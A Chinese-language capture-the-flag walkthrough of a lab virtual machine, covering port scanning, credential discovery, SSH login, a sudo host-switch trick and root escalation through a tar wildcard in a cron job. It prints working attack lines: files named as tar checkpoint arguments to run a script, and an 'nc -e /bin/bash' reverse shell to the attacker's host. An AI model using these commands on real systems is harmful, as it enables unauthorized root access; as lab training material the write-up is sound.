信息搜集

主机扫描

arp-scan -l

端口扫描

┌──(root㉿kali)-[~]
└─# nmap -sV -p- -Pn  192.168.122.71 
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-12 10:04 EDT
Nmap scan report for 192.168.122.71
Host is up (0.00030s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5 (protocol 2.0)
80/tcp open  http    nginx 1.18.0
MAC Address: 08:00:27:11:39:CE (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 22.55 seconds

路径扫描

/index.php,发一个base64,通过postman,发现这个提交按钮是假的,需要我们post两个参数

base64:Kung_Fu_P4nda

alert弹出一个弹窗

!ts-bl4nk

猜测是用户名密码

获取shell

ssh po@ip

成功拿到shell,但发现没有user.txt,查看home目录,发现还有一个用户,但无权限查看,于是提权

cat /etc/crontab
发现一个定时文件,但无法写入以现在的权限
下载linpeas.sh,发现用户po可以不用密码执行bash(忘截图了,借下其他师傅的图

sudo -u  oogway  -h /bin/bash
我认为这个是这个靶场的考察点,就是我并没有找打关于sudo -h 参数的用法,但上述图中指定了,只有在主机hackmyvm的主机下,才能执行,所以利用-h决定主机名,-u决定切换用户

提权

提权

  1. sudo -l 权限不够
  2. 定时文件 * * * * * user-name command to be executed* * * * root cd /opt/secret/ && tar -zcf /var/backups/secret.tgz *
    17 * * * * root cd / && run-parts --report /etc/cron.hourly
  3. 无可利用suid命令:find / -perm -u=s -type f 2>/dev/null
  4. 无可用文件:/usr/sbin/getcap -r / 2>/dev/null
  5. 查看端口: ss -altp 发现本机还有运行一个网站服务开始信息搜集一下
  6. 查看有无可写文件 find / -writable 2>/dev/null

发现可写文件/opt/secret,这不刚刚好,

这里存在一个通配符漏洞,在/tmp目录下,创建木马文件

利用通配符进行Linux本地提权 - FreeBuf网络安全行业门户

touch -- "--checkpoint=1"
touch -- "--checkpoint-action=exec=sh shell.sh"
echo "nc ip -e /bin/bash" >shell.sh
chmod +x shell.sh

成功获取root

知识点

  1. 通配符提权
  2. 指定主机名,用户名登录